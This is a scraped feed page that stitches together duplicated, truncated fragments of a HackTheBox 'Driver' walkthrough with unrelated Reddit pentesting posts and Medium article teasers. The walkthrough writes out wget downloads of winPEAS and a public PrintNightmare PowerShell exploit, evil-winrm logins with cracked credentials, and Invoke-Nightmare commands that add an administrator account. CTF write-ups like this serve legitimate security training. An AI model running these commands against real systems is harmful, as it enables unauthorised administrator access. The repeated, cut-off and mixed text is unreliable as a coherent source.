https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.
wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1
We can use the upload feature in evil-winrm to put this file on our box and then run it.
upload /root/winpeasx64.exe
.\winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1
In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1
Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1
Reading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.
wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1
Further, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1
We can confirm the exploit’s working by checking the new user’s existence in the server by using the net us[...]
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1
Next, we tried using SMB tools to access the shell to the server but it didn’t work. In Nmap we see WinRM running so we tried evil-winrm to access tony’s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.
gem install evil-winrm
evil-winrm -i 10.129.32.68 -u tony -p liltony
cd ..\Desktop
cat user.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.
wget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1
We can use the upload feature in evil-winrm to put this file on our box and then run it.
upload /root/winpeasx64.exe
.\winpeasx64.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1
In one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1
Upon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1
Reading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.
wget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1
Further, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Import-Module .\CVE-2021-34527.ps1
Invoke-Nightmare -NewUser "aarti" -NewPassword "Ignite@123987"
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1
We can confirm the exploit’s working by checking the new user’s existence in the server by using the net us[...]
Hacking Articles Tips Tricks Videos Tutorials
he ripper using the rockyou dictionary file. We see a cracked credential “liltony” https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhx…
er command.
net user
net user aarti
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png?w=640&ssl=1
Finally, we can user evil-winrm again to connect to the machine and snag our root flag.
evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987
cd c:\users\administrator\desktop
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png?w=640&ssl=1
Conclusion
Driver box on HackTheBox platform is a good beginner-friendly Windows box that teaches the basics of exploitation using a server-side file execution vulnerability and then privileges escalation using a very famous printer driver vulnerability. Thanks for reading.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Driver HackTheBox Walkthrough appeared first on Hacking Articles.
net user
net user aarti
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBVvCFpD5cKQcoHReHxeT32U0DVBsM1lLhqDVxQFad_x2mAXM4P8jKADet_sgdfCz8V0h0UDOcqY08rYGbFwIPD4ewmDkMf5iTk5pcZVDELchIDSOjy9C-GG4Npl8PbhQwNSg3KL1aVAONUPu6S2AP0uFbj7PaovjwjwSOlSm5ib9K-o4y_sR8JcK4QQ/s16000/14.png?w=640&ssl=1
Finally, we can user evil-winrm again to connect to the machine and snag our root flag.
evil-winrm -i 10.129.32.68 -u aarti -p ignite@123987
cd c:\users\administrator\desktop
cat root.txt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBTSvJbePCZrW8abWo5nfcrWaM-ibuDyaEVBHIDXaO-a1DczENm52vD01wEnR0_neMGIHI14OwDRy3y0HBPe7qYo5mgHk2cK_iIVyTzlncQumyHskCswY6bH6t7Mh_hqV0yVgku526PE_B2l9qUFetW56KKhab2H73HLyOeomFJYeurBvTtCewc75WSw/s16000/15.png?w=640&ssl=1
Conclusion
Driver box on HackTheBox platform is a good beginner-friendly Windows box that teaches the basics of exploitation using a server-side file execution vulnerability and then privileges escalation using a very famous printer driver vulnerability. Thanks for reading.
Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn
The post Driver HackTheBox Walkthrough appeared first on Hacking Articles.
Question about finding vulnerable JS plugins config versions, etc.
https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/
<!-- SC_OFF -->Hi, I am an intern for pentest and just starting out. I never had formal IT/Computer Science background and only done pentest bootcamps and a company was willing to hire me as an intern. I would like to ask something about web applications. I was using BurpSuite and came up with a vulnerable version of bootstrap 4.0.0: Upon checking it is vulnerable to XSS: Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in data-template, data-content and data-title properties of tooltip/popover. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip, collapse and scrollspy plugins. After crawling the whole website, I tried filtering data-template, tooltip, etc. but most of them are in .js files. I would like to ask how can I test for vulnerabilities and how can I spot which js config/ plugin is being used. Thanks! <!-- SC_ON --> submitted by /u/desecratedhuman (https://www.reddit.com/user/desecratedhuman)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/)
https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/
<!-- SC_OFF -->Hi, I am an intern for pentest and just starting out. I never had formal IT/Computer Science background and only done pentest bootcamps and a company was willing to hire me as an intern. I would like to ask something about web applications. I was using BurpSuite and came up with a vulnerable version of bootstrap 4.0.0: Upon checking it is vulnerable to XSS: Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in data-template, data-content and data-title properties of tooltip/popover. Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the tooltip, collapse and scrollspy plugins. After crawling the whole website, I tried filtering data-template, tooltip, etc. but most of them are in .js files. I would like to ask how can I test for vulnerabilities and how can I spot which js config/ plugin is being used. Thanks! <!-- SC_ON --> submitted by /u/desecratedhuman (https://www.reddit.com/user/desecratedhuman)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6akn/question_about_finding_vulnerable_js_plugins/)
Looking for Pentesting in the PDX area
https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/
<!-- SC_OFF -->I am an IT Manager for a company and I have to have a PenTest for my org each year. Very simple setup with 3 sights locally. Any recommendations? <!-- SC_ON --> submitted by /u/Luxtaposition (https://www.reddit.com/user/Luxtaposition)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/)
https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/
<!-- SC_OFF -->I am an IT Manager for a company and I have to have a PenTest for my org each year. Very simple setup with 3 sights locally. Any recommendations? <!-- SC_ON --> submitted by /u/Luxtaposition (https://www.reddit.com/user/Luxtaposition)
[link] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/) [comments] (https://www.reddit.com/r/Pentesting/comments/zm6td4/looking_for_pentesting_in_the_pdx_area/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://cdn-images-1.medium.com/max/1200/0*du4_D8tDoxXvJlp4.jpg
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.
Continue reading on InfoSec Write-ups »
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://cdn-images-1.medium.com/max/1200/0*du4_D8tDoxXvJlp4.jpg
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.
Continue reading on InfoSec Write-ups »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Vulnerability Analysis — Finding weakness and Exploiting them.
https://cdn-images-1.medium.com/max/2600/1*mkMiC6mVVgx1-YKhfZ5Bnw.png
A vulnerability assessment is a systematic review of security weaknesses in a networked system. It evaluates if the system is susceptible…
Continue reading on Medium »
Vulnerability Analysis — Finding weakness and Exploiting them.
https://cdn-images-1.medium.com/max/2600/1*mkMiC6mVVgx1-YKhfZ5Bnw.png
A vulnerability assessment is a systematic review of security weaknesses in a networked system. It evaluates if the system is susceptible…
Continue reading on Medium »
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups »
Read more...
In this article, we will be exploring the ins and outs of file inclusion vulnerability exploitation.Continue reading on InfoSec Write-ups »
Read more...
How To Exploit File Inclusion Vulnerabilities: A Beginner’s Introduction. — StackZero
https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5
https://infosecwriteups.com/how-to-exploit-file-inclusion-vulnerabilities-a-beginners-introduction-stackzero-a55267b5fafb?source=rss------bug_bounty-5